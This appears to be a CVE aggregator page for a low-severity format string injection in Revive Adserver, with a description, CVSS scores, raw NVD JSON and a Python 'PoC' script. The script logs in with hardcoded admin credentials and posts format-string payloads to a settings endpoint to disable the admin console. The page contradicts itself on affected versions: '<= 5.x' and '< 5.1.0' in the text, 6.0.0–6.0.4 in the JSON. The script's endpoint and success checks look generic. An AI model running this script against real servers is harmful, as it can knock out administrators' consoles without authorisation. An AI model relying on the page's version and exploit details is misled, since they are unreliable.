Security Vulnerability Report
中文
CVE-2026-21640 CVSS 2.7 LOW

CVE-2026-21640

Published: 2026-01-20 21:16:06
Last Modified: 2026-01-30 20:17:33

Description

HackerOne community member Faraz Ahmed (PakCyberbot) has reported a format string injection in the Revive Adserver settings. When specific character combinations are used in a setting, the admin user console could be disabled due to a fatal PHP error.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
Revive Adserver <= 5.x (所有版本)
Revive Adserver < 5.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21640 PoC - Format String Injection in Revive Adserver # Target: Revive Adserver instance # Attack: Inject format string specifiers in settings to cause PHP fatal error TARGET_URL = "http://target-server.com/revive-adserver" LOGIN_URL = f"{TARGET_URL}/www/admin/login.php" SETTINGS_URL = f"{TARGET_URL}/www/admin/account-settings-update.php" USERNAME = "admin" PASSWORD = "admin123" def login(session): """Authenticate with admin credentials""" data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=data) return "login" in response.text.lower() or response.status_code == 200 def exploit_format_string_injection(session): """Inject format string specifiers in setting parameters""" # Format string payloads that can trigger PHP errors payloads = [ "%s%s%s%s", "%x%x%x%x", "%n%n%n%n", "%d%d%d%d", "%.100s%.100s", "%p%p%p%p" ] headers = { "Cookie": session.cookies.get_dict(), "Content-Type": "application/x-www-form-urlencoded" } for payload in payloads: # Inject format string in common setting parameters data = { "account_name": payload, "email_address": f"admin@{payload}.com", "submit": "Update" } response = session.post(SETTINGS_URL, data=data, headers=headers) if response.status_code != 200 or "error" in response.text.lower(): print(f"[+] Payload '{payload}' triggered error - Admin console may be disabled") return True return False def main(): session = requests.Session() print("[*] Attempting CVE-2026-21640 Format String Injection...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Login successful") if exploit_format_string_injection(session): print("[!] Exploitation successful - Admin console disabled") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21640", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:06.063", "lastModified": "2026-01-30T20:17:33.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Faraz Ahmed (PakCyberbot) has reported a format string injection in the Revive Adserver settings. When specific character combinations are used in a setting, the admin user console could be disabled due to a fatal PHP error."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Faraz Ahmed (PakCyberbot) ha informado de una inyección de cadena de formato en la configuración de Revive Adserver. Cuando se utilizan combinaciones de caracteres específicas en una configuración, la consola del usuario administrador podría deshabilitarse debido a un error fatal de PHP."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.4", "matchCriteriaId": "2AA08D1C-3638-4E0D-AC58-A8527E77536F"}]}]}], "references": [{"url": "https://hackerone.com/reports/3445332", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}